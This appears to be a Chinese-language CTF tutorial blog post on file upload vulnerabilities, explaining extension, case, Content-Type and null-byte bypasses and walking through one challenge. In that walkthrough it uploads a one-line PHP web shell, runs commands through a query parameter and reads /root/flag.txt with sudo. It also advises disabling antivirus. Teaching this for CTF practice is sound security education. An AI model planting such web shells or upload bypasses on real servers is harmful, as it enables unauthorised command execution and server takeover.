想必大家都有過在網站上傳過大頭貼、投影片或是交作業檔案的經驗吧?
看起來再正常不過的功能,如果檢查不嚴格,卻可能變成駭客的後門——這就是 檔案上傳漏洞(File Upload Vulnerability)。
在 CTF 的 Web 題裡,File Upload 幾乎是經典題型之一。因為一旦能成功上傳「惡意檔案」並執行,攻擊者就有機會直接控制伺服器,甚至拿到 flag!
網站通常會允許使用者上傳圖片、文件或壓縮檔,並把它們存放在伺服器上。
如果網站在檔案檢查上不夠嚴謹,攻擊者就可能:
在 CTF 中,這通常就代表:只要能成功上傳一個能執行的檔案 → 就能拿到 flag ✨
網站為了安全,通常會檢查上傳檔案的類型。但這些檢查往往不夠嚴格。
shell.php
shell.php.jpg
、shell.pHp
伺服器可能只看 Content-Type: image/png
。
→ 我們可以在 Burp Suite 裡直接改成 image/png
,即使上傳的其實是 PHP 檔案。
有些系統只擋 .php
,但可能忘了 .phtml
、.php5
、.php3
等副檔名。
利用 %00
或路徑解析差異,例如:
shell%00.php.jpg
光是上傳檔案還不夠,我們還需要「找到檔案在哪裡」。
通常會透過:
/uploads/yourfile.php
)/upload/
、/files/
、/images/
找到檔案之後,就可以訪問它,若成功執行惡意程式碼 → 恭喜你成為 Admin 拿到 flag!
這題有一個檔案上傳的地方,上傳之後他會把我們的檔案放在uploads
資料夾下面
我們來嘗試上傳一句話木馬程式吧!
程式長這樣:
<?php system($_GET['cmd']); ?>
就是透過 PHP 的 system Function 執行 Shell 指令!
建立一個檔案在裡面寫入程式(windows可能會刪除你的程式,可以考慮先把防毒關掉)
上傳檔案之後打開我們的檔案,顯示以下畫面是正常的,我們要在網址後接?cmd=
再接我們的指令
他說了檔案在/root下面用sudo ls /root
,可以發現有flag.txt
在目錄下
改成 sudo cat /root/flag.txt
就能獲得flag了!
以上就是今天的內容啦
想看更多,記得明天再來喔~